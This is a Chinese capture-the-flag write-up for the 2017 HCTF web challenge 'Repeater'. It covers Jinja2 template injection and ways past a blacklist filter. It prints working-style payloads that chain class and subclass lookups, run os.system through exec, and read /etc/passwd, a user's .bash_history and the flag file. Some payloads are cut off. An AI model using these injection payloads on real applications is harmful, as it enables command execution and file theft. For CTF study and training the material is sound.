Repeater

发表于 2021-01-21 分类于 Challenge ， 2017 ， HCTF ， Web
Challenge | 2017 | HCTF | Web | Repeater

点击此处获得更好的阅读体验

WriteUp 来源

https://xz.aliyun.com/t/1589

题目考点

解题思路

题目是根据原文魔改的

打开题目F12发现server为`Server: Werkzeug/0.12.2 Python/2.7.12`

然后发现输入x就返回x was not found.

差不多可以想到jinja模板注入问题，测试 `secret={\{2-1}}`

返回1 was not found.即可验证

由于也是黑名单过滤，绕过方式看师傅们的姿势

request.args过滤了 `空格(%20)，回车(%0a)，'__','[',']','os','"',"|[a-z]"`

直接构造是可以bypass的

空格可以用`tab(%09)`绕过，|后不允许接a-z可以用`%0c`，tab等绕过，

os可以通过python中exec绕过

但是这题过滤仅限于request.args但是不允许post

简单的办法是可以用`request.cookies`来绕过

只能读文件的方法要找flag

首先需要先到/etc/passwd看到有hctf用户

然后读取/home/hctf/.bash_history,发现flag路径`/h3h3_1s_your_flag/flag`,在读取flag

随便列几种解题方法

1.不用blask_list里的符号

```
secret={\%set%0ca,b,c,d,e,f,g,h,i=request|%0cattr(request.args.class|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))|%0cattr(request.args.mro|%0cfo
```

2.exec构造绕过'os'执行os系统命令

```
a='import\x0co'+'s;o'+'s.system(\'ls${IFS}/\')';exec(a)
```

3.通过request.cookies

```
Url: http://repeater.2017.hctf.io/?secret={\{request|%0cattr(request.cookies.class)|%0cattr(request.cookies.mro)|%0clast()|%0cattr(request.cookies.sub)()|%0cattr(request.c
Cookie: file=/h3h3_1s_your_flag/flag;class=__class__;mro=__mro__;sub=__subclasses__;getitem=__getitem__;read=read;
```

Flag

```
无
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2017/HCTF/Web/df84mAYVLF3eEaUYTDgVZP.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # Web # 2017 # HCTF
SQL Silencer
Who are you?